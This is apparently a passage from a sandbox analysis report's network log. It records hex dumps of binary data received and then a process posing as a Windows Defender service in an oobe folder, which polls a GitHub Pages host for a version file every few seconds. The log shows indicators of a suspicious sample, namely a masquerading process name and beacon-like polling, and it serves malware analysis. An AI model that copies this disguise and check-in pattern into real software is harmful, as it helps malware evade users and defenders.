2024-09-29 00:26:11 UTC	1378	IN	Data Raw: db 08 4e 55 38 4f 30 84 2c 35 be d4 62 51 ff 03 d2 74 40 05 11 a8 30 15 e1 09 ed 8b 84 0c 28 a8 8f 1c 3d 30 76 a4 a0 31 52 34 cc 1b d9 cf 7b c2 a7 25 78 12 6b c2 b4 10 3e ab cc 45 0a 06 2d 81 3d 47 ec 16 09 17 40 61 37 8a 84 62 d5 ce 45 62 88 66 3b 88 23 3c ad 68 c5 61 dc 60 de ac ea ba 6a c5 6b 18 b0 25 7b 62 e3 c5 86 c6 90 8a 37 22 2b bc 1a de 0d 18 6f 48 80 8d 0d cd c5 b4 57 4b 35 b6 2e a3 0b 0c 53 55 88 08 9b 82 53 5b b4 02 d9 dc e0 c5 62 1b 52 7c b3 03 b1 05 61 b1 dd d8 26 dc 05 d8 17 41 2e 05 bd 0a 42 a6 6c 07 91 c1 c3 5b 71 90 6d 59 b1 03 43 49 18 48 b5 7b 83 c1 08 a5 36 5c 1f bb df 01 23 cf 05 1f 29 8b f9 2c 8b da 11 5e fa 7c 2e e8 f6 c3 56 0d ba 18 29 08 06 e9 47 69 ca 44 41 c7 81 d4 65 c9 d5 00 40 be 0f 16 fa a2 f7 f9 ad ff 77 4d 1c eb 02 94 21 Data Ascii: NU8O0,5bQt@0(=0v1R4{%xk>E-=G@a7bEbf;#<ha`jk%{b7"+oHWK5.SUS[bR\|a&A.Bl[qmYCIH{6\#),^\|.V)GiDAe@wM!
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: 3b 4c a1 c3 58 0c fa df 03 35 6d a9 b8 fd 6d ba 2b da 56 96 3e f1 85 3d 03 ab 54 b0 95 50 0f 75 df 37 3e 7f 33 58 37 53 25 43 14 30 52 5e 47 27 05 d3 7d b0 ce 2d bf c2 b7 0b 47 eb d9 33 c0 58 0a de 81 49 b8 b5 df 03 99 a0 42 83 8e a8 76 e8 18 1c 61 d3 f2 4e 4d a8 70 d1 20 b4 86 e1 1f de de 3d b1 d0 55 02 81 9d 49 45 0d 39 38 74 04 5b 73 d5 2a ce 0c 72 f3 7b e3 5b 20 78 3a e4 1c 40 08 4d 08 be 11 7c a9 db fa f8 05 75 0a 3f 08 41 8d 40 5d 54 e8 b6 e1 cd 0f 01 65 b3 c2 89 16 d8 6d 33 6b 86 73 08 a7 04 aa ab 8d 30 f4 39 2a a0 16 91 7a bd b9 ee f6 eb 08 33 49 08 10 10 fa 6b 81 38 8d 66 5b 68 b4 13 c0 a1 e2 7a 0a 8e cb b3 3c db 74 6b 07 8f 5c 90 4d 91 3c cb b3 3c 3e 92 2f 93 20 6f 99 a5 b9 b4 02 11 b5 9b 75 40 ba 9f 9f bf bf 8d 60 36 ba 8e 06 2f ba 85 28 ba 8a Data Ascii: ;LX5mm+V>=TPu7>3X7S%C0R^G'}-G3XIBvaNMp =UIE98t[sr{[ x:@M\|u?A@]Tem3ks09z3Ik8f[hz<tk\M<<>/ ou@`6/(
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: 15 42 0c 42 c3 ea 58 29 a4 8b c7 d7 c2 b2 88 55 84 4f 7e e1 2b 0c b7 49 3d 41 50 73 4f 62 45 18 6c 17 04 70 e4 fd 0c 5f 08 3d 7b a2 46 a2 31 b1 40 34 1a 77 6e bb a3 0d eb 0e 48 d6 1c 3c 06 fd 52 01 2c ba 59 b0 00 2b 26 bd c7 7b 83 10 56 0c 77 be df 80 12 80 a8 ae 8a 16 eb 25 1f aa 25 e8 80 fa 3d 3e 01 9b 8b c8 d0 68 81 1e 74 14 41 72 dd 96 6a 34 d5 f6 c0 60 03 0c 8a 10 c3 d8 b0 41 50 d7 02 ba 08 70 b7 2e d8 60 ab 0b 7f c8 72 4f f3 8a 68 6b b6 a6 06 59 5f 43 cd c5 42 2e 60 27 fc f6 b5 08 3c 3d 74 35 ba ea cd 3c 46 4f f0 c0 f8 19 25 30 d5 bf 3b 4b 5d 1b 4a 50 47 f6 3e d5 76 b0 67 3f 03 f5 eb ac da 41 44 69 eb 8d f2 9d a7 07 48 95 40 5b 48 08 f5 c1 34 65 7c 75 5e c3 e6 3e 4e 18 82 d1 5d d2 78 4c 18 45 82 57 17 01 a8 e5 66 8f f9 eb 0f 83 54 c5 19 0d e1 6b 71 Data Ascii: BBX)UO~+I=APsObElp_={F1@4wnH<R,Y+&{Vw%%=>htArj4`APp.`rOhkY_CB.`'<=t5<FO%0;K]JPG>vg?ADiH@[H4e\|u^>N]xLEWfTkq
2024-09-29 00:26:11 UTC	1378	IN	Data Raw: 99 36 01 0d 89 90 28 f6 77 d8 a8 03 17 88 b5 8d 4a 42 0d 54 37 bb dd e1 28 66 11 bc 00 1c 0a c2 d2 9f 29 e0 ac ae 1d 83 a0 a0 94 bd 9d eb 0e 48 70 9c d0 97 84 55 d4 20 b2 a8 48 f0 14 f0 53 7f 09 bd 24 e8 1a 53 4a 8c 0b 37 58 24 28 6f f3 40 c7 5f 88 67 5d e8 f7 e8 d3 15 84 63 b8 05 00 00 71 0b d8 65 ed e8 e5 d7 45 e4 dd 4d 42 8f b9 c2 74 0c 6f 8b 3c 8b 49 70 81 1c c8 81 0c 58 60 c8 81 1c c8 68 48 50 81 fd 80 1c 78 89 80 00 00 00 0f 06 e1 10 e4 c0 03 a3 06 28 d0 34 dd 41 49 38 14 e0 f8 e4 56 34 41 87 1b b0 c6 5d 13 c1 f8 15 43 f9 fd 89 90 38 1b c5 ba ba 2c 29 89 5a 8f 10 00 31 cf 68 a2 9a 50 17 df 3a 41 0b 83 57 1f 14 82 79 eb 44 87 9f 38 48 d4 59 9f 37 db b4 87 3c ea 49 54 c2 53 ff 94 34 67 c5 6e 0c 95 2a 21 74 f4 14 1d 66 c7 c8 6c 17 7c d4 74 fc 3e 60 25 Data Ascii: 6(wJBT7(f)HpU HS$SJ7X$(o@_g]cqeEMBto<IpX`hHPx(4AI8V4A]C8,)Z1hP:AWyD8HY7<ITS4gn*!tfl\|t>`%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49721	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:17 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:17 UTC	732	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:17 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 9139:1C52C8:26F8EF8:2B104B9:66F89EA8 Accept-Ranges: bytes Age: 0 Date: Sun, 29 Sep 2024 00:26:17 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890048-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727569578.623912,VS0,VE17 Vary: Accept-Encoding X-Fastly-Request-ID: 5465b0cae81f53faab8a5b16b412c67df8931220
2024-09-29 00:26:17 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49724	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:24 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:24 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:26:24 GMT Via: 1.1 varnish Age: 15 X-Served-By: cache-ewr-kewr1740075-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569585.674287,VS0,VE1 Vary: Accept-Encoding X-Fastly-Request-ID: 2a8a999cf039af73ede26400d4de8698ccc5bb29
2024-09-29 00:26:24 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49725	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:31 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:31 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:26:31 GMT Via: 1.1 varnish Age: 22 X-Served-By: cache-ewr-kewr1740076-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569591.168550,VS0,VE1 Vary: Accept-Encoding X-Fastly-Request-ID: f79995bf2da94dd4c690d85d123da043dd5fa263
2024-09-29 00:26:31 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49726	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:37 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:37 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:26:37 GMT Via: 1.1 varnish Age: 28 X-Served-By: cache-ewr-kewr1740067-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569598.628852,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: c7c79f1c9c0b048471508cd25718c5ee52aa9709
2024-09-29 00:26:37 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49728	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:43 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:43 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:26:43 GMT Via: 1.1 varnish Age: 34 X-Served-By: cache-ewr-kewr1740071-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569604.955411,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 72638f50b0bbf5bd4b95bf6a6a13ac8c01f40a60
2024-09-29 00:26:43 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49729	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:50 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:50 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:26:50 GMT Via: 1.1 varnish Age: 41 X-Served-By: cache-ewr-kewr1740054-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569611.502516,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 710eb6f73d5abd90d10b40cc107c24382c0a293c
2024-09-29 00:26:50 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49731	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:56 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:56 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:26:56 GMT Via: 1.1 varnish Age: 47 X-Served-By: cache-ewr-kewr1740077-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569616.464132,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 4955c39072255e44ced38f0c8faac763a0b0defd
2024-09-29 00:26:56 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49733	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:02 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:02 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:02 GMT Via: 1.1 varnish Age: 53 X-Served-By: cache-ewr-kewr1740029-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569622.453607,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 76c80132655812298931b58c56118a7a6d10804b
2024-09-29 00:27:02 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49734	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:08 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:08 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:08 GMT Via: 1.1 varnish Age: 59 X-Served-By: cache-ewr-kewr1740032-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569628.415826,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 25ed5a18390a0d256320adcfd47779d801ceb01b
2024-09-29 00:27:08 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49735	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:14 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:14 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:14 GMT Via: 1.1 varnish Age: 65 X-Served-By: cache-ewr-kewr1740050-EWR X-Cache: HIT X-Cache-Hits: 9 X-Timer: S1727569634.408812,VS0,VE0 Vary: Accept-Encoding X-Fastly-Request-ID: b14100ae6737e5c0198733870b0e5bf9b4bbb920
2024-09-29 00:27:14 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49736	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:20 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:20 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:20 GMT Via: 1.1 varnish Age: 71 X-Served-By: cache-ewr-kewr1740055-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569640.421463,VS0,VE3 Vary: Accept-Encoding X-Fastly-Request-ID: cb3d330bea8236e279c45386b8d41750e4a3a0b9
2024-09-29 00:27:20 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49737	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:26 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:26 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:26 GMT Via: 1.1 varnish Age: 77 X-Served-By: cache-ewr-kewr1740038-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569647.603709,VS0,VE4 Vary: Accept-Encoding X-Fastly-Request-ID: 46b5bf0045f4ef5f8a576433915680f49ca66af8
2024-09-29 00:27:26 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49739	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:32 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:32 UTC	731	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:17 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 9139:1C52C8:26F8EF8:2B104B9:66F89EA8 Accept-Ranges: bytes Age: 75 Date: Sun, 29 Sep 2024 00:27:32 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890078-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1727569653.844802,VS0,VE1 Vary: Accept-Encoding X-Fastly-Request-ID: ee8fa0e5f165a34e006807c5ba96ad657b2dfd5a
2024-09-29 00:27:32 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49740	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:39 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:39 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:39 GMT Via: 1.1 varnish Age: 90 X-Served-By: cache-ewr-kewr1740062-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569659.230596,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: e2060851b14f1b6bc8afae8c30e94ec82ef1e814
2024-09-29 00:27:39 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49741	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:45 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:45 UTC	752	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:45 GMT Via: 1.1 varnish Age: 96 X-Served-By: cache-ewr-kewr1740025-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569666.705263,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: ae1dfb2d30a008b86c8990514ac8892f8f153163
2024-09-29 00:27:45 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49742	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:52 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:52 UTC	753	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:52 GMT Via: 1.1 varnish Age: 103 X-Served-By: cache-ewr-kewr1740048-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569672.139972,VS0,VE3 Vary: Accept-Encoding X-Fastly-Request-ID: 6f1d2b9b36ebac204e9d46fe839e123aa8b71a17
2024-09-29 00:27:52 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49743	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:27:58 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:27:58 UTC	753	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:27:58 GMT Via: 1.1 varnish Age: 109 X-Served-By: cache-ewr-kewr1740052-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569678.418008,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 7be212b60ff8cbffa1d58ff9e604c1880f483aa2
2024-09-29 00:27:58 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
